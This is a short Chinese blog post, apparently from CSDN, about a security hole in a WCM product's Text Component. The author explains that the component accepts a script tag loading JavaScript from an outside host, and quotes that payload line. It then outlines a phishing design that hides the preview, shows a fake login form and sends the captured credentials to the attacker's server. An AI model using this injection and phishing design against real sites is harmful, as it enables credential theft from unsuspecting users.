WCM中的Component对JS脚本的支持也给自己带来了危险。

在测试过程中发现了一个问题,在Text Component中允许添加javascript代码段。感觉这是一个漏洞所在,自己试了试,居然可以填写跨域请求JS脚本的JS声明,例如<script language=javascript src= http://xxx.yyy.zzz/dd.js />于是利用这个特性编写一个攻击程序。
程序大体是这样的:将一段javascript代码放在服务器A,并且在服务器A运行一段JSP代码。编写一个Content和Presentation Template(简称PT),在PT引用事先写好的Text Component。当点击预览的时候,放在A服务器的代码被下载的本地中并且顺利运行,该JS的主要内容是1、将真正的要预览的内容隐藏起来。2、显示一个登录界面。(这点是利用了WCM本身一个问题,因为有的时候在预览内容的时候,可能被踢出系统,要求重新登录)。3、该登录界面是一个钓鱼程序,表面上是Portal的登录界面,实际上表单提交的内容是传给了服务器A的JSP中。4、JSP处理完毕后,发送一个sendRedirect请求。5、在页面提交前,往cookie中添加标记表示已经crack过了,JS通过判断document.cookie中的内容,来决定是显示crack的登录界面还是显示真正的预览页面。
该漏洞是一个小的安全问题。首先可以这么做的用户是一小部分人。但是这个安全问题又确实是个问题,这种crack的隐蔽性比较高,不容易被发现。
在编写crack程序中,主要遇到的问题是javascript编写和调试,感觉非常低效,另外是关于Ajax的问题,以为是个简单的问题,但是还是遇到了不少困难,第一、怎样模仿form的提交。可能是因为我的表是js动态生成的, onsubmit事件无法完全控制表格的提交。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值